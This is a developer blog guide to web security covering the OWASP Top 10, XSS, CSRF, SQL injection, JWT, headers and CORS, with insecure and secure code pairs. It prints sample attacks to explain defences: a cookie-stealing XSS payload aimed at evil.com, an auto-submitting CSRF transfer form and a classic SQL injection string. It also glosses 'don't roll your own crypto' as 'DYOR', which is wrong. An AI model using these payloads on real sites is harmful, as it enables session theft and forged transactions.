DevToolBoxKOSTENLOS
Blog

Web-Sicherheits-Leitfaden: OWASP Top 10, XSS, CSRF, SQL-Injection

14 Min. Lesezeitvon DevToolBox

Web application security is no longer optional. With data breaches costing organizations an average of $4.45 million in 2023 according to IBM, and with attack surfaces growing as applications become more complex, developers must treat security as a first-class concern from day one. This guide covers the OWASP Top 10 vulnerabilities, common attack vectors, and practical defenses you can implement today.

TL;DR — Security Quick Reference

The OWASP Top 10 lists the most critical web application security risks. XSS is prevented with output encoding and CSP. CSRF is mitigated with SameSite cookies and CSRF tokens. SQL injection is stopped with parameterized queries. Use bcrypt/Argon2 for passwords, HTTPS everywhere, strict security headers, and audit dependencies regularly.

Key Takeaways

  • Always use parameterized queries or prepared statements — never concatenate user input into SQL.
  • Implement Content Security Policy (CSP) headers to prevent XSS attacks.
  • Use SameSite=Strict or SameSite=Lax cookies combined with CSRF tokens for state-changing requests.
  • Hash passwords with bcrypt (cost 12+) or Argon2id — never store plaintext or use MD5/SHA-1.
  • Sign JWTs with RS256 or EdDSA — never use the "none" algorithm.
  • Enable HSTS, X-Frame-Options, X-Content-Type-Options, and Referrer-Policy headers.
  • Run npm audit, Snyk, or Dependabot on every CI pipeline run.
  • Rate-limit authentication endpoints to prevent brute-force and credential stuffing attacks.

OWASP Top 10 (2021 Edition)

The Open Web Application Security Project (OWASP) publishes a list of the 10 most critical web application security risks every few years. The 2021 edition reflects the evolving threat landscape with three new categories and reorganized priorities.

#CategoryDescription
A01A01: Broken Access ControlMoving up from #5 to #1, broken access control means that users can act outside their intended permissions. This includes bypassing access checks, viewing other users' data, elevating privileges, and metadata manipulation. 94% of tested applications had some form of broken access control.
A02A02: Cryptographic FailuresPreviously called "Sensitive Data Exposure," this category focuses on failures in cryptography that lead to data exposure. Includes transmitting data in clear text, weak cryptographic algorithms (MD5, SHA-1, DES), and improper key management.
A03A03: InjectionSQL, NoSQL, OS command, LDAP, and other injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. An attacker can use injection to access unauthorized data, execute commands, and compromise the entire system.
A04A04: Insecure DesignA new category in 2021 focusing on design and architectural flaws. This is distinct from implementation bugs. Secure design requires threat modeling, secure design patterns, and reference architectures — not just secure coding.
A05A05: Security MisconfigurationThe most common issue — 90% of applications were tested with some form of misconfiguration. Missing hardening, unnecessary features enabled, default credentials, overly informative error messages, and missing security headers all fall here.
A06A06: Vulnerable and Outdated ComponentsUsing components (libraries, frameworks, modules) with known vulnerabilities. Now includes both known CVEs and unmonitored components. Log4Shell (CVE-2021-44228) demonstrated how a single library vulnerability can affect millions of applications.
A07A07: Identification and Authentication FailuresPreviously "Broken Authentication." Includes permitting weak passwords, missing MFA, improper session management, and credential stuffing vulnerabilities. Attackers have access to billions of leaked credential pairs from breaches.
A08A08: Software and Data Integrity FailuresA new 2021 category covering code and infrastructure that does not protect against integrity violations. Includes insecure CI/CD pipelines, auto-updates without signature verification, and deserialization of untrusted data.
A09A09: Security Logging and Monitoring FailuresWithout logging and monitoring, breaches cannot be detected. This category covers insufficient logging, missing alerting, unmonitored logs, and log messages that are not actionable. Most breaches take months to detect without proper monitoring.
A10A10: Server-Side Request Forgery (SSRF)A new addition for 2021. SSRF flaws occur when a web application fetches a remote resource without validating the user-supplied URL. Attackers can use SSRF to scan internal networks, access cloud metadata endpoints (AWS IMDS), or reach internal services.

Cross-Site Scripting (XSS)

XSS is one of the most prevalent vulnerabilities, affecting millions of websites. It occurs when an attacker injects malicious scripts into content delivered to other users. A successful XSS attack can steal session tokens, redirect users, deface websites, or install keyloggers.

XSS Types

Reflected XSS

The malicious script is embedded in a URL and reflected off the server in the response. The victim must click a crafted link. Common in search results pages and error messages.

Stored XSS (Persistent)

The malicious script is stored on the server (database, file system) and served to every user who views the affected content. This is more dangerous since no user interaction beyond visiting the page is required. Common in comment systems, profile fields, and user-generated content.

DOM-Based XSS

The vulnerability exists in client-side code. The DOM is modified with attacker-controlled data. The server never sees the payload. Common with JavaScript that reads from location.hash, document.referrer, or localStorage.

XSS Prevention Strategies

Output Encoding

Always encode untrusted data before inserting it into HTML. Use context-appropriate encoding: HTML entity encoding for HTML content, JavaScript encoding for JS contexts, URL encoding for URLs.

INSECURE — Direct Insertion
// DANGEROUS: Raw user input in HTML
const name = req.query.name;
res.send('<h1>Hello ' + name + '</h1>');

// Attacker input:
// ?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
SECURE — Output Encoding
// SAFE: Use a trusted escaping library
import { escape } from 'html-escaper';

const name = escape(req.query.name);
res.send('<h1>Hello ' + name + '</h1>');

// Output: &lt;script&gt;... (harmless)

Safe DOM APIs

Prefer textContent over innerHTML. Use createElement and setAttribute instead of building HTML strings. When you must use innerHTML, sanitize input with DOMPurify.

// DANGEROUS: innerHTML with user data
element.innerHTML = userInput;

// SAFE: textContent (no HTML parsing)
element.textContent = userInput;

// SAFE: createElement API
const span = document.createElement('span');
span.textContent = userInput;
container.appendChild(span);

// SAFE with sanitization: DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// React is safe by default (JSX auto-escapes)
return <p>{userInput}</p>; // Safe
// But dangerouslySetInnerHTML is not:
return <div dangerouslySetInnerHTML={{__html: userInput}} />; // DANGER

Content Security Policy

CSP is a browser security mechanism that restricts what resources a page can load. A strong CSP policy can prevent XSS even when other defenses fail.

# Strong CSP header (Next.js / Express)
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM_NONCE}';
  style-src 'self' 'nonce-{RANDOM_NONCE}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.yourapp.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;

# Next.js: generate per-request nonce
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = [
    "default-src 'self'",
    "script-src 'self' 'nonce-" + nonce + "'",
    "style-src 'self' 'nonce-" + nonce + "'",
    "frame-ancestors 'none'",
  ].join('; ');
  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

Cross-Site Request Forgery (CSRF)

CSRF attacks trick authenticated users into submitting requests they did not intend to make. A malicious site can cause a user's browser to send requests to another site where the user is logged in. The server sees a legitimate-looking request with valid session cookies.

How CSRF Works

The attack exploits the browser's behavior of automatically including cookies with cross-origin requests. The attacker hosts a page with a hidden form or image tag that sends a request to the target site. The user's browser includes their session cookie, and the server processes the request.

<!-- Attacker's malicious page (evil.com) -->
<html>
<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker_account" />
    <input type="hidden" name="amount" value="1000" />
  </form>
</body>
</html>

<!-- If the user is logged into bank.com and visits evil.com,
     the browser auto-submits with the user's session cookie.
     bank.com processes it as a legitimate request. -->

CSRF Prevention

SameSite Cookies

The SameSite cookie attribute controls when cookies are sent with cross-site requests. SameSite=Strict prevents all cross-site cookie sending. SameSite=Lax allows cookies in top-level navigations. This is the simplest and most effective CSRF defense.

// Express.js: Set SameSite cookie
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,   // No JS access
    secure: true,     // HTTPS only
    sameSite: 'lax',  // CSRF protection
    maxAge: 3600000,  // 1 hour
  },
}));

// SameSite values:
// 'strict' - Never sent in cross-site requests (breaks OAuth flows)
// 'lax'    - Sent in safe cross-site navigation (GET links) only
// 'none'   - Always sent (requires Secure=true)

CSRF Tokens

Generate a unique, unpredictable token for each user session. Include this token in all state-changing forms and AJAX requests. Verify the token server-side before processing the request.

// Server: Generate and verify CSRF token
import crypto from 'crypto';

// Generate token on session creation
function generateCSRFToken(): string {
  return crypto.randomBytes(32).toString('hex');
}

// Middleware to verify token
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
  if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
    const token = req.headers['x-csrf-token'] || req.body._csrf;
    const sessionToken = req.session.csrfToken;
    if (!token || !sessionToken || token !== sessionToken) {
      return res.status(403).json({ error: 'CSRF token invalid' });
    }
  }
  next();
}

// Client: Include token in requests
// Fetch API
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCSRFTokenFromCookie(),
  },
  body: JSON.stringify({ amount: 100, to: 'alice' }),
});

SQL Injection

SQL injection remains one of the most dangerous vulnerabilities, allowing attackers to read sensitive data, modify database contents, execute admin operations, and even execute OS commands in some configurations. Despite being well understood, it still appears in the OWASP Top 10.

How SQL Injection Works

When user input is directly concatenated into SQL queries, an attacker can modify the query structure. By injecting SQL syntax, they can bypass authentication, extract data from other tables, or delete entire databases.

INSECURE — String Concatenation
// DANGEROUS: Direct concatenation
const username = req.body.username;
const query = "SELECT * FROM users "
  + "WHERE username = '" + username + "'";

// Attack input:
// username = ' OR '1'='1
// Result query:
// SELECT * FROM users WHERE username = ''
//   OR '1'='1'
// Returns ALL users!
SECURE — Parameterized Query
// SAFE: Parameterized query (node-postgres)
const username = req.body.username;
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1',
  [username]  // Passed separately
);

// Attack input is treated as literal data:
// SELECT * FROM users WHERE username = ?
// Param: ' OR '1'='1
// Returns 0 rows (no such username)

ORM Protection

Modern ORMs like Sequelize, TypeORM, Prisma, and Hibernate use parameterized queries by default. Avoid raw query methods and be careful with orderBy clauses, which may not be parameterized.

// Prisma (safe by default)
const user = await prisma.user.findUnique({
  where: { email: userInput },  // Safe
});

// Prisma raw query — be careful!
// DANGEROUS:
const results = await prisma.$queryRawUnsafe(
  'SELECT * FROM users WHERE email = ' + userEmail
);

// SAFE with tagged template:
const results = await prisma.$queryRaw`
  SELECT * FROM users WHERE email = ${userEmail}
`;

// TypeORM — safe with QueryBuilder:
const user = await userRepository
  .createQueryBuilder('user')
  .where('user.email = :email', { email: userInput })
  .getOne();

// ORDER BY — user controls sort column? Use whitelist!
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'createdAt'];
const sortColumn = ALLOWED_SORT_COLUMNS.includes(req.query.sort)
  ? req.query.sort : 'createdAt';
// Now safe to use in ORDER BY

Authentication Security

Authentication is the gateway to your application. Weak authentication is one of the top causes of data breaches. This section covers password security, MFA, and session management.

Password Hashing

Never store plaintext passwords or use fast general-purpose hash functions (MD5, SHA-1, SHA-256). Use purpose-built password hashing algorithms that are intentionally slow and memory-intensive. OWASP recommends Argon2id as the primary choice.

// Node.js: bcrypt (battle-tested, widely used)
import bcrypt from 'bcryptjs';

// Hashing (on registration/password change)
const COST_FACTOR = 12; // ~250ms on modern hardware
const hash = await bcrypt.hash(plaintextPassword, COST_FACTOR);
await db.users.update({ passwordHash: hash }, { where: { id: userId } });

// Verification (on login)
const isValid = await bcrypt.compare(plaintextPassword, storedHash);
if (!isValid) {
  // Constant-time comparison prevents timing attacks
  throw new AuthError('Invalid credentials');
}

// Node.js: Argon2id (OWASP primary recommendation)
import argon2 from 'argon2';

const hash = await argon2.hash(plaintextPassword, {
  type: argon2.argon2id,
  memoryCost: 19456,  // 19 MiB
  timeCost: 2,        // 2 iterations
  parallelism: 1,     // 1 thread
});

const isValid = await argon2.verify(storedHash, plaintextPassword);

// Speed comparison (attacker perspective, GPU RTX 4090):
// MD5:      ~25 billion hashes/sec  <- Never use
// SHA-256:  ~10 billion hashes/sec  <- Never use
// bcrypt:   ~50,000 hashes/sec      <- Acceptable
// Argon2id: ~1,000 hashes/sec       <- Best

Multi-Factor Authentication

MFA adds a second layer of authentication beyond passwords. Implement TOTP (Time-based One-Time Passwords) using apps like Google Authenticator or Authy. Consider hardware security keys (FIDO2/WebAuthn) for high-security applications.

// TOTP (Time-based OTP) with otplib
import { authenticator } from 'otplib';

// Setup: Generate secret for new user
const secret = authenticator.generateSecret(); // 'JBSWY3DPEHPK3PXP'
const otpAuthUrl = authenticator.keyuri(
  userEmail,
  'YourApp',
  secret
);
// Show otpAuthUrl as QR code for user to scan
// Store secret (encrypted) in database

// Verification: Check TOTP code at login
const isValidOTP = authenticator.verify({
  token: req.body.totpCode,
  secret: user.totpSecret,
});
if (!isValidOTP) {
  throw new AuthError('Invalid OTP code');
}

Session Management

Generate cryptographically random session IDs with at least 128 bits of entropy. Regenerate session IDs after authentication. Set proper expiration times. Invalidate sessions on logout and implement idle timeout.

// Secure session configuration (Express + Redis)
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient();
await redisClient.connect();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET!, // 64+ random bytes
  name: '__Host-session',   // __Host- prefix enforces HTTPS + path=/
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,         // No document.cookie access
    secure: true,           // HTTPS only
    sameSite: 'lax',        // CSRF protection
    maxAge: 60 * 60 * 1000, // 1 hour
  },
}));

// Regenerate session ID after login (prevents session fixation)
req.session.regenerate((err) => {
  if (err) throw err;
  req.session.userId = user.id;
  req.session.roles = user.roles;
});

JWT Security

JSON Web Tokens are widely used for stateless authentication, but they are frequently misconfigured. A single JWT security mistake can allow attackers to forge tokens and impersonate any user.

Critical JWT Security Risks

  • alg: noneSetting algorithm to "none" bypasses verification entirely
  • Algorithm ConfusionAttacker downgrades RS256 to HS256, using public key as HMAC secret
  • Weak secretsHS256 requires at least 256-bit secret; avoid guessable secrets
  • No expirationTokens without exp claim are valid forever

Algorithm Security

Always specify and verify the signing algorithm server-side. The "alg: none" attack bypasses verification. The algorithm confusion attack downgrades RS256 to HS256. Use RS256, ES256, or EdDSA for asymmetric signing.

// Node.js: Using jsonwebtoken library
import jwt from 'jsonwebtoken';
import fs from 'fs';

// INSECURE: HS256 with weak secret
const token = jwt.sign({ userId: 123 }, 'secret'); // NEVER do this

// SECURE: RS256 with key pair
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');

// Sign (auth server)
const token = jwt.sign(
  {
    sub: userId,
    roles: user.roles,
    iss: 'https://auth.yourapp.com',
    aud: 'https://api.yourapp.com',
  },
  privateKey,
  {
    algorithm: 'RS256', // Asymmetric — verify with public key only
    expiresIn: '15m',   // Short-lived access token
  }
);

// Verify (resource server)
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Whitelist — prevents algorithm confusion
  issuer: 'https://auth.yourapp.com',
  audience: 'https://api.yourapp.com',
});

// NEVER accept 'none' algorithm:
// algorithms: ['RS256'] explicitly blocks it

Expiration and Refresh Tokens

Set short expiration times for access tokens (15-60 minutes). Use refresh tokens with longer lifetimes stored securely (HttpOnly cookies). Implement refresh token rotation to detect theft.

// Refresh token pattern with rotation
interface Tokens {
  accessToken: string;   // Short-lived: 15 minutes
  refreshToken: string;  // Long-lived: 7 days (stored in Redis)
}

async function refreshTokens(refreshToken: string): Promise<Tokens> {
  // 1. Check refresh token exists and is not revoked
  const stored = await redis.get('refresh:' + refreshToken);
  if (!stored) throw new Error('Refresh token invalid or expired');

  const { userId, rotationVersion } = JSON.parse(stored);

  // 2. Revoke old refresh token (rotation)
  await redis.del('refresh:' + refreshToken);

  // 3. Issue new token pair
  const newRefreshToken = crypto.randomBytes(40).toString('hex');
  await redis.set(
    'refresh:' + newRefreshToken,
    JSON.stringify({ userId, rotationVersion: rotationVersion + 1 }),
    { EX: 7 * 24 * 60 * 60 } // 7 days
  );

  const accessToken = jwt.sign({ sub: userId }, privateKey, {
    algorithm: 'RS256',
    expiresIn: '15m',
  });

  return { accessToken, refreshToken: newRefreshToken };
}

Security Headers

Security headers are HTTP response headers that instruct browsers to enable security mechanisms. They provide defense-in-depth and protect against common attacks with minimal implementation effort.

HeaderRecommended ValuePurpose
Content-Security-Policydefault-src 'self'; script-src 'self' 'nonce-{n}'Controls which resources the browser is allowed to load. Prevents XSS, data injection attacks, and clickjacking. Use nonces or hashes for inline scripts instead of unsafe-inline.
Strict-Transport-Securitymax-age=31536000; includeSubDomains; preloadHSTS tells browsers to always use HTTPS for your domain. This prevents SSL stripping attacks and protocol downgrade attacks. Use a max-age of at least one year (31536000 seconds) and include subdomains.
X-Frame-OptionsDENYPrevents your page from being embedded in iframes on other sites. This mitigates clickjacking attacks. Use DENY or SAMEORIGIN. CSP frame-ancestors is the modern replacement.
X-Content-Type-OptionsnosniffPrevents browsers from MIME-sniffing responses. Set to "nosniff" to force browsers to respect the declared Content-Type. Prevents attacks that rely on confusing the browser about file types.
Referrer-Policystrict-origin-when-cross-originControls how much referrer information is included in requests. Use "strict-origin-when-cross-origin" to prevent leaking full URLs to third parties while preserving analytics.
Permissions-Policycamera=(), microphone=(), geolocation=()Controls which browser features (camera, microphone, geolocation) can be used. Restricts features your application does not need, reducing the attack surface.
// Express.js: Set all security headers
import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],  // Add nonce in middleware
      styleSrc: ["'self'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
  frameguard: { action: 'deny' },
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));

// Nginx: Security headers block
# add_header Content-Security-Policy
#   "default-src 'self'; frame-ancestors 'none'" always;
# add_header Strict-Transport-Security
#   "max-age=31536000; includeSubDomains; preload" always;
# add_header X-Frame-Options DENY always;
# add_header X-Content-Type-Options nosniff always;
# add_header Referrer-Policy strict-origin-when-cross-origin always;

CORS Configuration

Cross-Origin Resource Sharing (CORS) controls which origins can access your API. Misconfigured CORS can allow malicious sites to make authenticated requests to your API on behalf of your users.

Allowlisting Origins

Never use the wildcard (*) for origins when credentials are involved. Maintain an explicit allowlist of permitted origins. Validate the Origin header against this allowlist before sending Access-Control-Allow-Origin.

// Express: CORS with origin validation
import cors from 'cors';

const ALLOWED_ORIGINS = [
  'https://app.yoursite.com',
  'https://www.yoursite.com',
  ...(process.env.NODE_ENV === 'development'
    ? ['http://localhost:3000']
    : []),
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, server-to-server)
    if (!origin) return callback(null, true);

    if (ALLOWED_ORIGINS.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,     // Allow cookies (requires explicit origin)
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
  maxAge: 86400,          // Cache preflight for 24 hours
}));

Rate Limiting and DDoS Protection

Rate limiting prevents abuse of your API endpoints. Without it, attackers can brute-force passwords, scrape data, spam endpoints, and overwhelm your infrastructure.

Rate Limiting Strategies

// Express: Rate limiting with express-rate-limit + Redis
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';

// Global API rate limit
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100,                  // 100 requests per window
  standardHeaders: 'draft-7',
  legacyHeaders: false,
  store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
  message: { error: 'Too many requests, please try again later.' },
});

// Strict login rate limit (prevent brute-force)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5,                    // 5 attempts per window
  skipSuccessfulRequests: true, // Only count failures
  message: { error: 'Too many failed login attempts. Try again in 15 minutes.' },
});

// Password reset: prevent enumeration + abuse
const resetLimiter = rateLimit({
  windowMs: 60 * 60 * 1000, // 1 hour
  max: 3,
});

app.use('/api/', apiLimiter);
app.post('/api/auth/login', loginLimiter, loginHandler);
app.post('/api/auth/forgot-password', resetLimiter, resetHandler);

Dependency Security

Modern applications depend on hundreds or thousands of third-party packages. Each dependency is a potential attack surface. Supply chain attacks (like the SolarWinds breach) have shown that trusted packages can be compromised.

Automated Vulnerability Scanning

Run npm audit, yarn audit, or pnpm audit in your CI pipeline. Integrate Snyk, Dependabot, or GitHub Dependabot for automated pull requests when vulnerabilities are discovered. Set severity thresholds that fail the build.

# Run in CI — fail on high/critical vulnerabilities
npm audit --audit-level=high

# GitHub Actions: Add Dependabot
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10
    labels:
      - dependencies
      - security

# GitHub Actions: Snyk security scan
- name: Run Snyk security scan
  uses: snyk/actions/node@master
  with:
    args: --severity-threshold=high
  env:
    SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

Lock Files

Always commit lock files (package-lock.json, yarn.lock, pnpm-lock.yaml). Lock files ensure reproducible builds and prevent dependency confusion attacks. Use npm ci instead of npm install in CI/CD.

CVSS Vulnerability Scoring

The Common Vulnerability Scoring System (CVSS) provides a standardized way to rate the severity of security vulnerabilities on a scale from 0 to 10.

Score RangeSeverityResponse TimeExamples
9.0 – 10.0CriticalImmediate (<24h)Log4Shell, Heartbleed, Spring4Shell
7.0 – 8.9HighWithin 7 daysRCE, SQL injection, auth bypass
4.0 – 6.9MediumWithin 30 daysXSS, CSRF, sensitive data exposure
0.1 – 3.9LowWithin 90 daysInfo disclosure, low-impact DoS
0.0NonePlan as neededNo security impact

Security Testing

Security testing should be integrated into every stage of the software development lifecycle, not just done once before deployment.

Static Analysis (SAST)

SAST tools analyze source code without executing it. Tools include Semgrep, ESLint security plugins, SonarQube, and CodeQL. Integrate into your IDE and CI pipeline for immediate feedback.

Dynamic Analysis (DAST)

DAST tools test running applications from the outside. OWASP ZAP and Burp Suite are popular choices. Run DAST against your staging environment in CI. Catch vulnerabilities like XSS, injection, and authentication bypasses.

Penetration Testing

Periodic penetration testing by security professionals provides a comprehensive assessment. Use a structured methodology like OWASP Testing Guide. Consider bug bounty programs for continuous security assessment.

HTTPS and TLS

HTTPS encrypts all communication between clients and servers. Without it, session tokens, credentials, and sensitive data are visible to network attackers. HTTPS is no longer optional — it is the baseline.

HTTP Strict Transport Security (HSTS)

HSTS tells browsers to always use HTTPS for your domain. This prevents SSL stripping attacks and protocol downgrade attacks. Use a max-age of at least one year (31536000 seconds) and include subdomains.

# Nginx: Enable HSTS
server {
  listen 443 ssl http2;
  server_name yourapp.com www.yourapp.com;

  # HSTS: 1 year, include subdomains, preload
  add_header Strict-Transport-Security
    "max-age=31536000; includeSubDomains; preload" always;

  # Redirect all HTTP to HTTPS
  # (In a separate server block)
}

server {
  listen 80;
  server_name yourapp.com www.yourapp.com;
  return 301 https://$host$request_uri;
}

# TLS configuration best practices
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
ssl_prefer_server_ciphers off;  # TLS 1.3 client preference
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m;
ssl_stapling on;  # OCSP stapling
ssl_stapling_verify on;

Frequently Asked Questions

Q1: What is the difference between authentication and authorization?

Authentication verifies who you are (e.g., username and password check). Authorization determines what you are allowed to do (e.g., checking if you have permission to access a resource). Both must be implemented correctly — authentication without authorization means all users can access all resources, and authorization without authentication means you cannot know who is making the request.

Q2: Is HTTPS enough to secure a web application?

HTTPS encrypts data in transit but is not sufficient on its own. You also need: input validation and output encoding to prevent injection attacks, proper authentication and session management, authorization checks on every request, security headers, dependency scanning, and regular security testing. HTTPS prevents network eavesdropping and man-in-the-middle attacks but does not protect against application-layer vulnerabilities.

Q3: How do I prevent SQL injection in an ORM?

Most ORMs (Prisma, TypeORM, Sequelize, Hibernate) use parameterized queries by default for standard operations. However, you must be careful with: raw query methods (where you can pass string templates), orderBy or orderByRaw clauses where user input determines sort columns, and dynamic column selection. Always use the ORM's safe API for passing values and validate user input used in ORDER BY or GROUP BY clauses against a whitelist.

Q4: What should I store in JWT access tokens?

Store only the minimum necessary claims in access tokens: user ID, roles/permissions, expiration time (exp), issued-at time (iat), and issuer (iss). Never store sensitive data like passwords, full personal information, or financial data in JWTs. Remember that JWT payloads are base64-encoded, not encrypted — they are readable by anyone with the token unless you use JWE (JSON Web Encryption).

Q5: How should I handle security incidents and vulnerability disclosure?

Establish a security.txt file at /.well-known/security.txt with your responsible disclosure policy and contact information. When a vulnerability is reported: acknowledge within 24 hours, fix critical vulnerabilities within 72 hours, fix high vulnerabilities within 7 days, communicate progress to reporters, and consider a CVE assignment for significant vulnerabilities. Consider a bug bounty program for continuous researcher engagement.

Q6: What is the difference between XSS and CSRF?

XSS (Cross-Site Scripting) injects malicious scripts into your page that run in other users' browsers — the attack targets your users through your site. CSRF (Cross-Site Request Forgery) tricks users' browsers into making unintended requests to your site — the attack targets your site through your users' browsers. XSS breaks the same-origin policy from the target site's perspective; CSRF exploits the browser's behavior of including credentials in cross-origin requests.

Q7: Should I roll my own cryptography?

Almost never. Cryptographic primitives are extremely difficult to implement correctly. Even experienced cryptographers make mistakes. Use well-audited, widely deployed libraries: the Web Crypto API in browsers, libsodium for low-level needs, bcrypt/Argon2 libraries for password hashing, and battle-tested TLS libraries. The principle is "do not roll your own crypto" (DYOR). If you genuinely need a custom cryptographic primitive, you need a formal security audit.

Q8: How do I securely store API keys and secrets in production?

Never hard-code secrets in source code or commit them to version control. Use a secrets management solution: HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, or Azure Key Vault. For containers, inject secrets as environment variables at runtime. Use short-lived credentials with automatic rotation where possible. Audit secret access logs. For development, use .env files (never committed) with tools like dotenv-vault for team sharing.

Security Checklist Summary

  • Parameterized queries for SQL injection prevention
  • CSP + output encoding for XSS prevention
  • SameSite cookies + CSRF tokens
  • Argon2id/bcrypt for password hashing
  • RS256-signed JWTs with 15-minute expiration
  • Full security header suite (helmet.js)
  • HTTPS + HSTS with preload
  • Automated dependency scanning in CI
  • Rate limiting on authentication endpoints
  • Comprehensive security logging and monitoring alerts
𝕏 Twitterin LinkedIn
War das hilfreich?

Bleiben Sie informiert

Wöchentliche Dev-Tipps und neue Tools.

Kein Spam. Jederzeit abbestellbar.

Verwandte Tools ausprobieren

#Hash GeneratorB→Base64 EncoderJWTJWT Decoder

Verwandte Artikel

Node.js Leitfaden: Vollständiges Tutorial für Backend-Entwicklung

Node.js Backend meistern. Anleitung mit Event Loop, Express.js, REST APIs, JWT-Auth, DB-Integration, Jest-Tests, PM2-Deployment und Node.js vs Deno vs Bun Vergleich.

API-Tests: Kompletter Leitfaden mit cURL, Supertest und k6

API-Tests meistern. Anleitung mit HTTP-Methoden, cURL, fetch/axios, Postman/Newman, supertest, Python httpx, Mock-Servern, Contract Testing und k6.